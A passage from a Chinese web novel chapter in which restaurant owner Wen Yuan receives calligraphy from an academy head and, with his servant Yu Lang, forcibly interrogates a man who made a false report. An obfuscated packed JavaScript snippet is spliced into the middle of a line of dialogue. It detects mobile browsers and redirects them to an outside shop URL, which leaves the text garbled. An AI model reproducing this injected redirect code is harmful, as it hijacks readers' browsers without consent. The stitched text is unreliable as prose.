“会不会做是一回事,做得好不好吃又是另一回事儿,食肆里的菜品没经过试菜不许上桌,规矩不能破。”温沅笑了笑,“宁老板海涵。” 杂货铺老板没想到温沅对食肆的菜品要求如此精细,怪不得全鱼宴做得这么好,深感佩服的同时又有些可惜,毕竟甲鱼汤可香了。 他想了想说:“要不你卖我一只,我回家自个儿做。” 温沅一愣,颇为意外杂货铺老板对甲鱼的喜爱,他转头看了看余浪,用眼神问他行不行。 “嗯?”余浪失笑道:“少爷,您是少东家。” 温沅啧了一声:“这不是怕误会么,要是你说甲鱼是捉回家吃的,那我不好自行决定了。” 余浪看着他没说话,眼底闪过一丝微不可察的笑意。 “甲鱼便按进货价给您,如何?”温沅问道。 “没问题!”杂货铺老板笑呵呵地说。 温沅不仅卖了一只甲鱼给杂货铺老板,为了答谢方才杂货铺老板的相帮,还让陈大立做了一份蒸鲜鱼送到东六雅间。 鱼是真的鲜,味是真的美,东六雅间的客人们吃完后一致赞叹。 那位老者更是主动向温沅要了笔墨纸砚,提笔写下两个大字——好鱼。 给食肆里的伙计看得一愣一愣的,哪有人吃完饭还留墨宝,从未见过呢。 一群人挤在四方桌前看,他们不懂什么字,看不出好坏,温沅对书画也没什么兴趣,不过他能看出这两个字写得是真的好。 风骨尽显。 走之前,杂货铺老板悄声和温沅说:“颜老一字难求,可得好好裱起。” 温沅低头一看,左下落款写的是“颜幕之”。 “这颜幕之是什么人?” “颜幕之?”郭巴子双目一睁,把脸怼到落款处,叫道:“颜院长!刚刚那是颜院长!” “嗯?”温沅被他这激动的语气惊了一下,“哪个颜院长?” “今州城最大最厉害的修远书院的院长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224317|197551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”郭巴子脸上隐隐露着憧憬,“听闻院长云游好久了。” 温沅意外地看了他一眼:“你了解得颇深啊。” 郭巴子一怔,摸了摸鼻子笑说:“就是……听旁人说的,来的客人就爱说这些嘛。少东家,这个要不要裱起?” “自然是要的。”温沅笑道:“寻个装裱师傅。” “我来我去!”郭巴子头一回主动揽活儿,说完等温沅点头一溜烟跑出了门。 温沅将字幅放好,打发伙计们去干活儿,唯独留下余浪:“一会儿同我去趟衙门。” 余浪一下听懂了他的意图:“找方才那人?” “对。”温沅就喜欢余浪这不用多说的默契,他用折扇敲了敲掌心,“既然那捕快不会查,那只能咱们自己查查到底是谁在暗处使坏了。” 温沅和余浪在衙门蹲守了两刻钟,方才见到褐布巾汉子从里边出来,出来时,这人一脸愤恨,走远一点还回头吐了一口唾沫子,吐完骂骂咧咧地走了。 褐布巾汉子拐进巷子的时候还在骂,嘴上喷出的污言秽语实在难以入耳。 温沅眉头紧皱,巷子越走越僻静,直到街市的热闹被甩远,他朝余浪偏了偏脑袋。 余浪闻声而动,几个跨步追上去,一把掐住褐布巾汉子的脖子将人甩到灰墙上。 褐布巾汉子摔得头昏眼花,嘴巴一张,嚎叫声还未发出,就被硬生生掐断。 余浪慢条斯理地把布巾塞进他嘴里,然后扯了他的裤腰带把手绑在身后,褐布巾汉子瞪大双眼,疯狂挣扎起来,被余浪揣了一脚才停歇。 “地上有些脏,少爷小心些。”余浪见地上有个木墩,一把抱过来放在地上,然后解了外衣垫在上边,“少爷,坐。” 温沅看着地上可爱的木墩,连忙展开折扇挡住下半脸,他怕下一瞬会忍不住笑出来。 怎么搞得好像他们才是地痞流氓…… 他撩开衣摆坐下,清了清嗓子刚要开口,余光瞥见男人赤-条-条的上身,切割分明又结实的腹肌就这么在他眼前晃。 晃得人眼晕,晕得他忘了要说什么。 “你……往后站些。”温沅干咳一声。 “嗯?”余浪挑起眉。 “吓着他了。”温沅指了指褐布巾汉子。 “嗯。”余浪往后退了一步,站在温沅身后,垂眸看着小少爷白皙修长的侧颈。 “莫慌,我们只想问你几个问题,你若实话实说,便不拿你怎么样。”温沅笑着对褐布巾汉子说:“这处偏僻,你叫了也无人搭救,明白?” 褐布巾汉子连连点头。 温沅笑了一下,抬了抬下巴。 余浪上前把褐布巾汉子嘴里的布巾扯下,而后退回温沅身后,做个沉默的护院。 “食肆的死鱼是谁做的手脚,是谁指使你去告发。”温沅问。 褐布巾汉子看了眼高大漠然的余浪,又看向微微笑着的温沅,毫不犹豫地说:“陈贵礼,你们食肆的掌柜。” 说完却发现那位年轻的温老板脸上并无意外。 温沅沉思片刻,皱起眉说:“若是胡说……” “就是他!鱼是他弄死的,也是他让我去衙门告发你!”褐布巾汉子急忙说,“他给了我一两银子,说完事再给二两,个狗东西,翻脸不认人!” “他这么做是为什么?”温沅不明白食肆闭店对陈贵礼有什么好处。 “这我哪知道,但他说食肆倒闭了,他能拿一大笔钱。”褐布巾汉子说,“我就知道这些,可以放我走了吧?” 温沅看了他一眼,起身甩了下折扇:“恐怕不行。” “什么!”褐布巾汉子震惊。 “你有没有说谎,见了陈掌柜便知。”温沅见他不想配合,补充道:“你今日诬告,我若报官你可逃不了,若是你同我们回食肆做个人证,诬告之事我就不追究了。” “我、我不去……”褐布巾汉子还想挣扎,余浪扯着他的手臂一用力,卸了他一只胳膊,疼得他汗水直淌,哭着疯狂点头。 “我去我去我去……” 温沅用折扇敲了敲余浪的肩膀,笑笑:“走,回食肆。”